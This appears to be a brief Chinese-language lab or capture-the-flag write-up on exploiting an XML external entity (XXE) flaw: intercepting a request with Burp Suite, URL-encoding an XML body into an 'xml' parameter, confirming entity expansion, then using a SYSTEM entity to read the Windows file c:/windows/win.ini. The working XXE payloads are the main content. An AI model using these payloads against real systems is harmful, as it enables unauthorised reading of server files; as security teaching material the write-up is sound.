先随便输入一个内容查看

接下来用bp抓包看下参数

有个xml参数，而且Content-Type: application/x-www-form-urlencoded，我们传入url编码后的xml内容试一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY xxe "你好吗？" >
]>
<foo>&xxe;</foo>

url编码后放入参数xml

接下来试试能不能读取系统文件内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>